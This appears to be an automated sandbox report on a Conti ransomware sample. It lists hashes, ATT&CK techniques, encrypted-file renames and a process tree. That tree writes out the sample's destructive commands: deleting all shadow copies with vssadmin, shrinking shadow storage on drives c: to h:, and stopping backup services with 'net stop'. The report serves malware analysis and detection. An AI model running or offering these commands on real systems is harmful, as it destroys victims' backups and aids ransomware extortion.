conti | c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4

Analysis

max time kernel
140s
max time network
54s
platform
windows10_x64
resource
win10v200722
submitted
26-08-2020 20:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
Size

101KB
MD5

a200d6c3988d8bf49c305f3e2adee785
SHA1

68dcbf15e926bd239026ed065471d914c85f9c75
SHA256

c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4
SHA512

003efd039edc0f5714853eaaa78e04c6440f707950e9e258ea019ca8573947c7d89b001d711b8e1ab4fb4748af4c488044a4777859f316b91b35672a4da8669e

Score

10^/10

conti ransomware

Malware Config

Signatures

Conti Ransomware
Ransomware generally thought to be a successor to Ryuk.
ransomware conti
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\MountEdit.tiff => C:\Users\Admin\Pictures\MountEdit.tiff.CONTI	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File renamed	C:\Users\Admin\Pictures\OutWrite.png => C:\Users\Admin\Pictures\OutWrite.png.CONTI	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File renamed	C:\Users\Admin\Pictures\DebugPublish.tif => C:\Users\Admin\Pictures\DebugPublish.tif.CONTI	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File renamed	C:\Users\Admin\Pictures\ApproveGet.crw => C:\Users\Admin\Pictures\ApproveGet.crw.CONTI	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File renamed	C:\Users\Admin\Pictures\EnableSelect.tif => C:\Users\Admin\Pictures\EnableSelect.tif.CONTI	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File renamed	C:\Users\Admin\Pictures\MeasureInitialize.png => C:\Users\Admin\Pictures\MeasureInitialize.png.CONTI	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Pictures\MountEdit.tiff	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File renamed	C:\Users\Admin\Pictures\ReadSkip.tif => C:\Users\Admin\Pictures\ReadSkip.tif.CONTI	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File renamed	C:\Users\Admin\Pictures\SuspendPop.raw => C:\Users\Admin\Pictures\SuspendPop.raw.CONTI	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe

Drops desktop.ini file(s) 24 IoCs

Processes:

c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Public\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe

Enumerates connected drives 3 TTPs 18 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
640	vssadmin.exe
1440	vssadmin.exe
2284	vssadmin.exe
3452	vssadmin.exe
1816	vssadmin.exe
3892	vssadmin.exe
3860	vssadmin.exe
3816	vssadmin.exe
2832	vssadmin.exe
3756	vssadmin.exe
716	vssadmin.exe
1084	vssadmin.exe
2636	vssadmin.exe
3140	vssadmin.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe

pid	process
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

vssvc.exe

description pid process

Token: SeBackupPrivilege 3652 vssvc.exe
Token: SeRestorePrivilege 3652 vssvc.exe
Token: SeAuditPrivilege 3652 vssvc.exe

description	pid	process
Token: SeBackupPrivilege	3652	vssvc.exe
Token: SeRestorePrivilege	3652	vssvc.exe
Token: SeAuditPrivilege	3652	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 292 wrote to memory of 504	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 504	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 504	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 504 wrote to memory of 716	504	cmd.exe	vssadmin.exe
PID 504 wrote to memory of 716	504	cmd.exe	vssadmin.exe
PID 504 wrote to memory of 716	504	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 1004	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 1004	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 1004	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 1004 wrote to memory of 1084	1004	cmd.exe	vssadmin.exe
PID 1004 wrote to memory of 1084	1004	cmd.exe	vssadmin.exe
PID 1004 wrote to memory of 1084	1004	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 1216	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 1216	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 1216	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 1216 wrote to memory of 1440	1216	cmd.exe	vssadmin.exe
PID 1216 wrote to memory of 1440	1216	cmd.exe	vssadmin.exe
PID 1216 wrote to memory of 1440	1216	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 1612	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 1612	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 1612	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 1612 wrote to memory of 1816	1612	cmd.exe	vssadmin.exe
PID 1612 wrote to memory of 1816	1612	cmd.exe	vssadmin.exe
PID 1612 wrote to memory of 1816	1612	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 2016	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 2016	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 2016	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 2016 wrote to memory of 2284	2016	cmd.exe	vssadmin.exe
PID 2016 wrote to memory of 2284	2016	cmd.exe	vssadmin.exe
PID 2016 wrote to memory of 2284	2016	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 2440	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 2440	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 2440	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 2440 wrote to memory of 2636	2440	cmd.exe	vssadmin.exe
PID 2440 wrote to memory of 2636	2440	cmd.exe	vssadmin.exe
PID 2440 wrote to memory of 2636	2440	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 2704	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 2704	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 2704	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 2704 wrote to memory of 3892	2704	cmd.exe	vssadmin.exe
PID 2704 wrote to memory of 3892	2704	cmd.exe	vssadmin.exe
PID 2704 wrote to memory of 3892	2704	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 3876	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 3876	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 3876	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 3876 wrote to memory of 3860	3876	cmd.exe	vssadmin.exe
PID 3876 wrote to memory of 3860	3876	cmd.exe	vssadmin.exe
PID 3876 wrote to memory of 3860	3876	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 3912	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 3912	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 3912	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 3912 wrote to memory of 3452	3912	cmd.exe	vssadmin.exe
PID 3912 wrote to memory of 3452	3912	cmd.exe	vssadmin.exe
PID 3912 wrote to memory of 3452	3912	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 2196	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 2196	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 2196	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 2196 wrote to memory of 3140	2196	cmd.exe	vssadmin.exe
PID 2196 wrote to memory of 3140	2196	cmd.exe	vssadmin.exe
PID 2196 wrote to memory of 3140	2196	cmd.exe	vssadmin.exe
PID 292 wrote to memory of 740	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 740	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 292 wrote to memory of 740	292	c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe	cmd.exe
PID 740 wrote to memory of 3816	740	cmd.exe	vssadmin.exe

C:\Users\Admin\AppData\Local\Temp\c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe
"C:\Users\Admin\AppData\Local\Temp\c14f8bc656284715516f26935afe487a1d584f56ffabbcb98f2974f6ca6cd3a4.bin.exe"
1⤵
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:292

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin Delete Shadows /all /quiet
2⤵
- Suspicious use of WriteProcessMemory
PID:504

C:\Windows\SysWOW64\vssadmin.exe
vssadmin Delete Shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:716

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
2⤵
- Suspicious use of WriteProcessMemory
PID:1004

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
3⤵
- Interacts with shadow copies
PID:1084

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
2⤵
- Suspicious use of WriteProcessMemory
PID:1216

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
3⤵
- Interacts with shadow copies
PID:1440

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
2⤵
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1816

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
2⤵
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2284

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
2⤵
- Suspicious use of WriteProcessMemory
PID:2440

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2636

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
2⤵
- Suspicious use of WriteProcessMemory
PID:2704

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3892

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
2⤵
- Suspicious use of WriteProcessMemory
PID:3876

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3860

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
2⤵
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3452

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
2⤵
- Suspicious use of WriteProcessMemory
PID:2196

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3140

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
2⤵
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3816

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
2⤵
PID:2488

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2832

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
2⤵
PID:2152

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3756

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin Delete Shadows /all /quiet
2⤵
PID:4048

C:\Windows\SysWOW64\vssadmin.exe
vssadmin Delete Shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:640

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop "Acronis VSS Provider" /y
2⤵
PID:1120

C:\Windows\SysWOW64\net.exe
net stop "Acronis VSS Provider" /y
3⤵
PID:1236

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Acronis VSS Provider" /y
4⤵
PID:1456

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop "Enterprise Client Service" /y
2⤵
PID:1896

C:\Windows\SysWOW64\net.exe
net stop "Enterprise Client Service" /y
3⤵
PID:2216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Enterprise Client Service" /y
4⤵
PID:2096

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop "SQLsafe Backup Service" /y
2⤵
PID:2700

C:\Windows\SysWOW64\net.exe
net stop "SQLsafe Backup Service" /y
3⤵
PID:2552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLsafe Backup Service" /y
4⤵
PID:3916

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop "SQLsafe Filter Service" /y
2⤵
PID:3896

C:\Windows\SysWOW64\net.exe
net stop "SQLsafe Filter Service" /y
3⤵
PID:3956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLsafe Filter Service" /y
4⤵
PID:3972

